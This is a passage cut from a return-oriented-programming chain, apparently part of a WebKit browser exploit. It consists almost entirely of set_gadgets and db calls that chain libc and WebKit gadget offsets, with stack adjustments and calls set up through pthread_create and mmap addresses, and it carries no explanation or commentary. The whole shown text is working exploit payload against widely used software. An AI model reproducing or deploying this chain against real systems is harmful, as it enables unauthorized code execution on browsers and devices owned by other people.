+libc_base+713278, +ropchain+153440, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+153408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+153424, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+153512, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+153568, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+153664, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+153752, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+153768, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+153928, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+153960, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+153912, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+153944, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+154088, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+154104, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+154072, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+154192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+154248, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+154336, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([40, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+154464, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+154480, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+154624, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+154592, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+154608, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+154720, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+154808, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+154824, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+154968, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+154936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+154952, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+155040, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+155096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+155192, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+155280, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+155296, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+155456, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+155488, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+155440, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+155472, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+155616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+155632, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+155600, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+155720, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+155776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+155872, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+155928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([16, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+156080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+156136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+156256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+156344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+156360, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+156504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+156472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+156488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+156600, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+156688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+156704, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+156848, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+156816, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+156832, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+156952, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+86896, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+157040, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+157128, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+157144, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+157288, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+157256, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+157272, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +jop_frame_addr, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+157432, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+157520, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+157536, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+157680, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+157648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+157664, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+157776, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+157864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+157880, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+158024, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+157992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+158008, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+158128, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+159008, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+158272, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+158288, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+158256, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+158416, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+158432, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+158400, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+158536, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+158552, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+158672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+158656, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+158760, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+158744, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+158864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+158880, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+159000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+158984, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +pthread_create_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+160328, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +mmap_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+161656, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+161728, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+161792, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+161896, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+161912, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+162032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+162016, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+162104, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+162208, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+162224, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(webkit_base+1420514,); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+162336, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+162320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+162472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+162456, +webkit_base+4687784, +libc_base+165442, +ropchain+136, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+162632, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+162664, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+162616, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+162648, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+162744, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+162760, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+162888, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+162904, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+162872, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+8949069, +libc_base+232261, +libc_base+713278, +ropchain+163080, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+163096, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+163064, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+163224, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+163256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+163240, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+163368, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+163360, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+163384, +ropchain+164216, +libc_base+388400, +libc_base+713278, +ropchain+163440, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([1, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+163552, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+163536, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+740138, +libc_base+713278, +ropchain+163648, +webkit_base+4687784, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+163792, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+163776, +webkit_base+4687784, +libc_base+165442, +ropchain+136, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+163952, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+163984, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+163936, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, 